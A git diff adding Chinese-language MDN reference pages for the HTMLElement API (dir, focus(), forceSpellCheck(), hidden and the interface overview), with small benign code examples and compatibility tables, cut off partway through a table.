+<p><code><strong>dir</strong></code>属性用于获取或设置当前元素的元素内容的文本书写方向.</p> + +<h3 id="Syntax_and_values" name="Syntax_and_values">语法</h3> + +<pre class="eval">var <var>CurrentWritingDirection</var> = elementNodeReference.dir; +elementNodeReference.dir = <var>NewWritingDirection</var>; +</pre> + +<p><code>CurrentWritingDirection</code>是一个字符串,表示当前元素的元素内容的文本书写方向. NewWritingDirection是一个变量,表示当前元素新的文本书写方向.</p> + +<p><strong>dir</strong> 的值可以是<strong><code>ltr</code>, 表示从左到右</strong>, 和<strong><code>rtl</code>, 表示从右到左</strong>.</p> + +<h3 id="Example" name="Example">例子</h3> + +<pre>var parg = document.getElementById("para1"); +parg.dir = "rtl"; +// 改变一个元素的元素内容的文本书写方向.</pre> + +<h3 id="Notes" name="Notes">备注</h3> + +<p>元素的文本书写方向是指文本的排列顺序(目的是为了支持其他不同语言的系统). 阿拉伯语和希伯来语是典型的使用 rtl 排列顺序的语言.</p> + +<p>一个图像文件也可以将<code>dir</code>属性设置为"rtl",这样的话,它的<code>title和</code><code>alt</code>属性文字会按"rtl"顺序来显示.</p> + +<p>当表格的<code>dir</code>属性设置为"rtl"时, 那么该表格的所有列将从右到左排列.</p> + +<div class="geckoVersionNote"> +<p>{{ gecko_callout_heading("7.0") }}</p> + +<p>在Gecko 7.0 {{ geckoRelease("7.0") }}之前, 该属性的返回值不一定都是小写的.从 Gecko 7.0开始, 该属性的返回值全部为小写字母, 这也是规范中所规定的.</p> +</div> + +<h3 id="Specification" name="Specification">规范</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-52460740">W3C DOM Level 2 HTML: dir</a></p> + +<p>{{ languages( { "ja": "ja/DOM/element.dir", "fr": "fr/DOM/element.dir", "pl": "pl/DOM/element.dir", "en": "en/DOM/element.dir" } ) }}</p> diff --git a/files/zh-cn/web/api/htmlelement/focus/index.html b/files/zh-cn/web/api/htmlelement/focus/index.html new file mode 100644 index 0000000000..eb47aff613 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/focus/index.html @@ -0,0 +1,158 @@ +--- +title: HTMLElement.focus() +slug: Web/API/HTMLElement/focus +tags: + - API + - 参考 + - 方法 + - 焦点 +translation_of: Web/API/HTMLOrForeignElement/focus +--- +<div>{{ APIRef("HTML DOM") }}</div> + +<p><span class="seoSummary"><strong><code>HTMLElement.focus()</code></strong> 方法用于设置焦点，如果被指定的元素可以获取到焦点，焦点就会被设置到该元素上。得到焦点的元素会作为键盘导航时的当前元素/基准元素，也会接收到相应的键盘事件等事件。</span></p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox"><var>element</var>.focus(<var>options</var>); // Object parameter</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code>options</code> {{optional_inline}}</dt> + <dd>An optional object providing options to control aspects of the focusing process. This object may contain the following property:</dd> + <dd> + <dl> + <dt><code>preventScroll</code> {{optional_inline}}</dt> + <dd>A Boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. A value of <code>false</code> for <code>preventScroll</code> (the default) means that the browser will scroll the element into view after focusing it. If <code>preventScroll</code> is set to <code>true</code>, no scrolling will occur.</dd> + </dl> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<h3 id="将焦点设置到文本框上">将焦点设置到文本框上</h3> + +<h4 id="JavaScript">JavaScript</h4> + +<pre class="brush: js">focusMethod = function getFocus() { + document.getElementById("myTextField").focus(); +}</pre> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html"><input type="text" id="myTextField" value="Text field."> +<p></p> +<button type="button" onclick="focusMethod()">点这里将焦点设置到文本框上！</button> +</pre> + +<h4 id="结果">结果</h4> + +<p>{{ EmbedLiveSample('Focus_on_a_text_field') }}</p> + +<h3 id="将焦点设置到按钮上">将焦点设置到按钮上</h3> + +<h4 id="JavaScript_2">JavaScript</h4> + +<pre>focusMethod = function getFocus() { + document.getElementById("myButton").focus(); +}</pre> + +<h4 id="HTML_2">HTML</h4> + +<pre><button type="button" id="myButton">Click Me!</button> +<p></p> +<button type="button" onclick="focusMethod()">点这里将焦点设置到按钮上！</button></pre> + +<h4 id="结果_2">结果</h4> + +<p>{{ EmbedLiveSample('Focus_on_a_button') }}</p> + +<h3 id="Focus_with_focusOption">Focus with focusOption</h3> + +<h4 id="JavaScript_3">JavaScript</h4> + +<pre class="brush: js">focusScrollMethod = function getFocus() { + document.getElementById("myButton").focus({preventScroll:false}); +} +focusNoScrollMethod = function getFocusWithoutScrolling() { + document.getElementById("myButton").focus({preventScroll:true}); +} + +</pre> + +<h4 id="HTML_3">HTML</h4> + +<pre class="brush: html"><button type="button" onclick="focusScrollMethod()">Click me to focus on the button!</button> +<button type="button" onclick="focusNoScrollMethod()">Click me to focus on the button without scrolling!</button> + +<div id="container" style="height: 1000px; width: 1000px;"> +<button type="button" id="myButton" style="margin-top: 500px;">Click Me!</button> +</div> + +</pre> + +<h4 id="结果_3">结果</h4> + +<p>{{ EmbedLiveSample('Focus_prevent_scroll') }}</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}</td> + <td>{{Spec2('DOM2 HTML')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="备注">备注</h2> + +<ul> + <li>If you call <code>HTMLElement.focus()</code> from a mousedown event handler, you must call <code>event.preventDefault()</code> to keep the focus from leaving the <code>HTMLElement</code></li> + <li> + <p>Behaviour of the focus in relation to different HTML features like {{HTMLAttrxRef("tabindex")}} or {{Glossary("shadow tree","shadow dom", 1)}}, which previously remained under-specified, were recently updated (as October of 2019). Checkout <a href="https://blog.whatwg.org/focusing-on-focus">WHATWG blog</a> for more info.</p> + </li> +</ul> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.HTMLElement.focus")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>DOM method {{domxref("HTMLElement.blur()")}} to remove the focus from an element.</li> + <li>{{ domxref("document.activeElement") }} to know which is the currently focused element.</li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/forcespellcheck/index.html b/files/zh-cn/web/api/htmlelement/forcespellcheck/index.html new file mode 100644 index 0000000000..779c6095a6 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/forcespellcheck/index.html @@ -0,0 +1,92 @@ +--- +title: HTMLElement.forceSpellCheck() +slug: Web/API/HTMLElement/forceSpellCheck +translation_of: Web/API/HTMLElement/forceSpellCheck +--- +<p>{{ APIRef("HTML DOM") }}{{SeeCompatTable}}</p> + +<p>强制对HTML元素进行拼写和语法检查，即使用户没有关注元素。此方法将覆盖浏览器的行为。检查的界面，例如是否出现红色下划线，由浏览器确定。</p> + +<h2 id="Syntax" name="Syntax">Syntax</h2> + +<pre class="syntaxbox">element.forceSpellCheck()</pre> + +<h2 id="Specification" name="Specification">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'interaction.html#dom-forcespellcheck', 'HTMLElement.forceSpellCheck()')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Initial definition</td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', 'editing.html#dom-forcespellcheck', 'HTMLElement.forceSpellCheck')}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td>First W3C snapshot of {{SpecName('HTML WHATWG')}} with the method defined in it.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See Also" name="See Also">See Also</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTML/Controlling_spell_checking_in_HTML_formsControlling_spell_checking_in_HTML_forms">Controlling spell checking in HTML forms</a></li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/hidden/index.html b/files/zh-cn/web/api/htmlelement/hidden/index.html new file mode 100644 index 0000000000..5fd6033dc5 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/hidden/index.html @@ -0,0 +1,196 @@ +--- +title: HTMLElement.hidden +slug: Web/API/HTMLElement/hidden +translation_of: Web/API/HTMLElement/hidden +--- +<div> +<div>{{ APIRef("HTML DOM") }}</div> +</div> + +<p><span class="seoSummary">{{domxref("HTMLElement")}}元素属性 <strong><code>hidden</code></strong> 是一个 {{jsxref("Boolean")}}类型，如果想要隐藏文档，值设置为 <code>true，否则值设置为</code><code>false</code>. 这是完全不同于使用 CSS 属性 {{cssxref("display")}} 来控制一个元素的可见性 。</span> <code>hidden 属性应用于所有的展现模式，并且不应该用来隐藏用户直接访问的内容。</code></p> + +<p>适用于使用 <code>hidden 的情况：</code></p> + +<ul> + <li>目前不相关的内容，但是将来会用到的</li> + <li>以前需要，但是现在不需要的内容</li> + <li>以一种模版的方式存在，在一个页面的其他地方重复使用到</li> + <li>Creating an offscreen canvas as a drawing buffer</li> +</ul> + +<p>不适合使用的情况：</p> + +<ul> + <li>隐藏 标签选项卡对话框面板</li> + <li>在一个演示文稿中隐藏内容，同时打算在其他演示文稿中显示</li> +</ul> + +<div class="note"> +<p>Elements that are not <code>hidden</code> must not link to elements which are.</p> +</div> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox"><em>isHidden</em> = <em>HTMLElement</em>.hidden; + + +<em>HTMLElement</em>.hidden = true | false;</pre> + +<h3 id="Value">Value</h3> + +<p>A Boolean which is <code>true</code> if the element is hidden from view; otherwise, the value is <code>false</code>.</p> + +<h2 id="Example" name="Example">示例</h2> + +<p>Here's an example where a hidden block is used to contain a thank you message that is displayed after a user agrees to an unusual request.</p> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js">document.getElementById("okButton") + .addEventListener("click", function() { + document.getElementById("welcome").hidden = true; + document.getElementById("awesome").hidden = false; +}, false);</pre> + +<p>This code sets up a handler for the welcome panel's "OK" button that hides the welcome panel and makes the follow-up panel—with the curious name "awesome"—visible in its place.</p> + +<h3 id="HTML">HTML</h3> + +<p>The HTML for the two boxes are shown here.</p> + +<h4 id="The_welcome_panel">The welcome panel</h4> + +<pre class="brush: html"><div id="welcome" class="panel"> + <h1>Welcome to Foobar.com!</h1> + <p>By clicking "OK" you agree to be awesome every day!</p> + <button class="button" id="okButton">OK</button> +</div></pre> + +<p>This HTML creates a panel (in a {{HTMLElement("div")}} block) that welcomes the user to a site and tells them what they're agreeing to by clicking the OK button.</p> + +<h4 id="The_follow-up_panel">The follow-up panel</h4> + +<p>Once the user clicks the "OK" button in the welcome panel, the JavaScript code swaps the two panels by changing their respective values for <code>hidden</code>. The follow-up panel looks like this in HTML:</p> + +<pre class="brush: html"><div id="awesome" class="panel" hidden> + <h1>Thanks!</h1> + <p>Thank you <strong>so</strong> much for agreeing to be + awesome today! Now get out there and do awesome things + awesomely to make the world more awesome!</p> +</div></pre> + +<h3 id="CSS">CSS</h3> + +<p>The content is styled using the CSS below.</p> + +<pre class="brush: css">.panel { + font: 16px "Open Sans", Helvetica, Arial, sans-serif; + border: 1px solid #22d; + padding: 12px; + width: 500px; + text-align: center; +} + +.button { + font: 22px "Open Sans", Helvetica, Arial, sans-serif; + padding: 5px 36px; +} + +h1 { + margin-top: 0; + font-size: 175%; +}</pre> + +<h3 id="Result">Result</h3> + +<p>{{ EmbedLiveSample('Example', 560, 200) }}</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "interaction.html#dom-hidden", "HTMLElement.hidden")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', "editing.html#the-hidden-attribute", "HTMLElement.hidden")}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "editing.html#the-hidden-attribute", "HTMLElement.hidden")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容">浏览器兼容</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoDesktop("2") }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoMobile("2") }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{domxref("Element.hidden")}}</li> + <li>{{cssxref("display")}}</li> +</ul> diff --git a/files/zh-cn/web/api/htmlelement/index.html b/files/zh-cn/web/api/htmlelement/index.html new file mode 100644 index 0000000000..3566048a05 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/index.html @@ -0,0 +1,502 @@ +--- +title: HTMLElement +slug: Web/API/HTMLElement +translation_of: Web/API/HTMLElement +--- +<div>{{APIRef}}</div> + +<p><span style="line-height: 1.5;">HTMLElement 接口表示所有的 </span><a href="/en-US/docs/Web/HTML" style="line-height: 1.5;" title="/en-US/docs/Web/HTML">HTML</a><span style="line-height: 1.5;"> </span><span style="line-height: 1.5;">元素。一些HTML元素直接实现了HTMLElement接口，其它的间接实现HTMLElement接口.</span></p> + +<h2 id="属性">属性</h2> + +<p><em>继承自父接口</em><em>{{domxref("Element")}}和</em><em> {{domxref("GlobalEventHandlers")}}</em><em>的属性</em> <em> </em></p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">属性名称</th> + <th scope="col">属性类型</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{domxref("HTMLElement.accessKey")}}</td> + <td>{{domxref("DOMString")}}</td> + <td>获取/设置元素访问的快捷键</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.accessKeyLabel")}}</td> + <td>{{domxref("DOMString")}}</td> + <td>返回一个包含元素访问的快捷键的字符串（只读）</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.contentEditable")}}</td> + <td>{{domxref("DOMString")}}</td> + <td>获取/设置元素的可编辑状态</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.isContentEditable")}} {{readonlyInline}}</td> + <td>{{domxref("Boolean")}}</td> + <td>表明元素的内容是否可编辑（只读）</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.contextMenu")}}</td> + <td>{{domxref("HTMLMenuElement")}}</td> + <td>设置/获取元素的右键菜单</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.dataset")}} {{readonlyInline}}</td> + <td>{{domxref("DOMStringMap")}}</td> + <td> + <p>获取元素的自定义属性，是一个对象（key-value，只读）</p> + </td> + </tr> + <tr> + <td>{{domxref("HTMLElement.dir")}}</td> + <td>{{domxref("DOMString")}}</td> + <td> + <p><span style="line-height: 1.5;">获取/设置元素的方向，可选的值有：ltr，rtl，auto</span></p> + </td> + </tr> + <tr> + <td>{{domxref("HTMLElement.draggable")}}</td> + <td>{{domxref("Boolean")}}</td> + <td>设置/获取元素是否可以拖拽</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.dropzone")}} {{readonlyInline}}</td> + <td>{{domxref("DOMSettableTokenList")}}</td> + <td> </td> + </tr> + <tr> + <td>{{domxref("HTMLElement.hidden")}}</td> + <td>{{domxref("Boolean")}}</td> + <td>获取/设置元素是否隐藏</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.itemScope")}} {{experimental_inline}}</td> + <td>{{domxref("Boolean")}}</td> + <td> </td> + </tr> + <tr> + <td>{{domxref("HTMLElement.itemType")}} {{readonlyInline}}{{experimental_inline}}</td> + <td>{{domxref("DOMSettableTokenList")}}</td> + <td> </td> + </tr> + <tr> + <td>{{domxref("HTMLElement.itemId")}} {{experimental_inline}}</td> + <td>{{domxref("DOMString")}}</td> + <td> </td> + </tr> + <tr> + <td>{{domxref("HTMLElement.itemRef")}} {{readonlyInline}}{{experimental_inline}}</td> + <td>{{domxref("DOMSettableTokenList")}}</td> + <td> </td> + </tr> + <tr> + <td>{{domxref("HTMLElement.itemProp")}} {{readonlyInline}}{{experimental_inline}}</td> + <td>{{domxref("DOMSettableTokenList")}}</td> + <td> </td> + </tr> + <tr> + <td>{{domxref("HTMLElement.itemValue")}} {{experimental_inline}}</td> + <td>{{domxref("object")}}</td> + <td> </td> + </tr> + <tr> + <td>{{domxref("HTMLElement.lang")}}</td> + <td>{{domxref("DOMString")}}</td> + <td>获取/设置元素属性、文本、内容的语言</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.offsetHeight")}} {{readonlyInline}}</td> + <td><code>double</code></td> + <td>元素自身可视高度加上上下border的宽度</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.offsetLeft")}}{{readonlyInline}}</td> + <td><code>double</code></td> + <td>元素自己border左边距离父元素border左边或者body元素border左边的距离</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.offsetParent")}}{{readonlyInline}}</td> + <td>{{domxref("Element")}}</td> + <td>元素的父元素，如果没有就是body元素</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.offsetTop")}}{{readonlyInline}}</td> + <td><code>double</code></td> + <td>元素自己border顶部距离父元素顶部或者body元素border顶部的距离</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.offsetWidth")}}{{readonlyInline}}</td> + <td><code>double</code></td> + <td>元素自身可视宽度加上左右border的宽度</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.properties")}} {{readonlyInline}}{{experimental_inline}}</td> + <td>{{domxref("HTMLPropertiesCollection")}}</td> + <td> </td> + </tr> + <tr> + <td>{{domxref("HTMLElement.spellcheck")}}{{ gecko_minversion_inline("1.9")}}</td> + <td>{{domxref("Boolean")}}</td> + <td> </td> + </tr> + <tr> + <td>{{domxref("HTMLElement.style")}}</td> + <td>{{domxref("CSSStyleDeclaration")}}</td> + <td>获取/设置元素的style属性</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.tabIndex")}}</td> + <td><code>long</code></td> + <td>获取/设置元素的tab键控制次序</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.title")}}</td> + <td>{{domxref("DOMString")}}</td> + <td>获取/设置元素的title属性</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.translate")}} </td> + <td>{{domxref("Boolean")}}</td> + <td>获取/设置元素是否可以被翻译</td> + </tr> + </tbody> +</table> + +<h3 id="Event_handlers">Event handlers</h3> + +<p>The events properties, of the form <code>onXYZ</code>, are defined on the {{domxref("GlobalEventHandlers")}}, implemented by <code>HTMLElement</code>. A few more are specific to <code>HTMLElement</code>.</p> + +<dl> + <dt>{{domxref("HTMLElement.onTouchStart")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchstart")}} event.</dd> + <dt>{{domxref("HTMLElement.onTouchEnd")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchend")}} event.</dd> + <dt>{{domxref("HTMLElement.onTouchMove")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchmove")}} event.</dd> + <dt>{{domxref("HTMLElement.onTouchEnter")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchenter")}} event.</dd> + <dt>{{domxref("HTMLElement.onTouchLeave")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchleave")}} event.</dd> + <dt>{{domxref("HTMLElement.onTouchCancel")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchcancel")}} event.</dd> +</dl> + +<h2 id="方法">方法</h2> + +<p><em>从父元素继承的方法, {{domxref("Element")}}.</em></p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Name & Arguments</th> + <th scope="col">Return</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{domxref("HTMLElement.blur()")}}</td> + <td><code>void</code></td> + <td>元素失去焦点</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.click()")}}</td> + <td><code>void</code></td> + <td>触发元素的点击事件</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.focus()")}}</td> + <td><code>void</code></td> + <td>元素获得焦点</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.forceSpellCheck()")}} {{experimental_inline}}</td> + <td><code>void</code></td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSSOM View', '#extensions-to-the-htmlelement-interface', 'HTMLElement')}}</td> + <td>{{Spec2('CSSOM View')}}</td> + <td> + <p>添加如下属性：</p> + + <p><code>offsetParent<font face="Open Sans, arial, sans-serif">，</font></code><code>offsetTop<font face="Open Sans, arial, sans-serif">，</font></code><code>offsetLeft<font face="Open Sans, arial, sans-serif">，</font></code><code>offsetWidth<font face="Open Sans, arial, sans-serif">，</font></code><code>offsetHeight</code></p> + </td> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> + <p>添加如下属性:</p> + + <p><code>translate<font face="Open Sans, arial, sans-serif">，</font></code><code>itemScope<font face="Open Sans, arial, sans-serif">，</font></code><code>itemType<font face="Open Sans, arial, sans-serif">，</font></code><code>itemId<font face="Open Sans, arial, sans-serif">，</font></code><code>itemRef<font face="Open Sans, arial, sans-serif">，</font></code><code>itemProp<font face="Open Sans, arial, sans-serif">，</font></code><code>properties，</code><code>itemValue。</code></p> + + <p><code>添加如下方法：</code><br> + <code>forceSpellcheck()，</code></p> + + <p><code>将 onXYZ 属性移动到了</code>{{domxref("GlobalEventHandlers")}}接口上并从该接口继承了该属性</p> + </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'dom.html#htmlelement', 'HTMLElement')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td> + <p>添加了如下属性:</p> + + <p><code>dataset</code>, <code>hidden</code>, <code>tabindex</code>, <code>accessKey</code>, <code>accessKeyLabel</code>, <code>draggable</code>, <code>dropzone</code>, <code>contentEditable</code>, <code>isContentEditable</code>, <code>contextMenu</code>, <code>spellcheck</code>, <code>commandType</code>, <code>commandLabel</code>, <code>commandIcon</code>, <code>commandHidden</code>, <code>commandDisabled</code>, <code>commandChecked</code>, <code>style，和所有的 onXYZ属性</code></p> + + <p><code>移动id和classname属性到</code>{{domxref("Element")}}接口上</p> + </td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-011100101', 'HTMLElement')}}</td> + <td>{{Spec2('DOM2 HTML')}}</td> + <td>在 {{SpecName('DOM2 HTML')}}基础上没有任何改变</td> + </tr> + <tr> + <td>{{SpecName('DOM1', 'level-one-html.html#ID-011100101', 'HTMLElement')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>初始定义</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>特性</th> + <th>Firefox (Gecko)</th> + <th>Chrome</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatGeckoDesktop("1.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.accessKey", "accessKey")}}</td> + <td>{{CompatGeckoDesktop("5.0")}}</td> + <td>17.0</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}(<a class="external" href="http://trac.webkit.org/changeset/107483">535.10</a>)</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}</td> + <td>{{CompatGeckoDesktop("8.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}{{WebkitBug(72715)}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.blur()", "blur()")}}</td> + <td>{{CompatGeckoDesktop("5.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.click()", "click()")}}</td> + <td>{{CompatGeckoDesktop("5.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}(<a class="external" href="http://trac.webkit.org/changeset/107483">535.24</a>)</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.dataset", "dataset")}}</td> + <td>{{CompatGeckoDesktop("6.0")}}</td> + <td>9.0</td> + <td>{{CompatUnknown}}</td> + <td>11.10</td> + <td>5.1</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.focus()", "focus()")}}</td> + <td>{{CompatGeckoDesktop("5.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.contentEditable", "contentEditable")}}</td> + <td>{{CompatGeckoDesktop("1.9")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>5.5</td> + <td>9</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.spellcheck", "spellcheck")}}</td> + <td>{{CompatGeckoDesktop("1.8.1")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.forceSpellCheck", "forceSpellCheck()")}} {{experimental_inline}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.dataset", "dataset")}}</td> + <td>{{CompatGeckoDesktop("6.0")}}</td> + <td>8.0</td> + <td>11</td> + <td>11.10</td> + <td>6</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.draggable", "draggable")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>12.0</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.dropzone", "dropzone")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>12.0</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>{{domxref("HTMLElement.offsetLeft", "offsetLeft")}}, 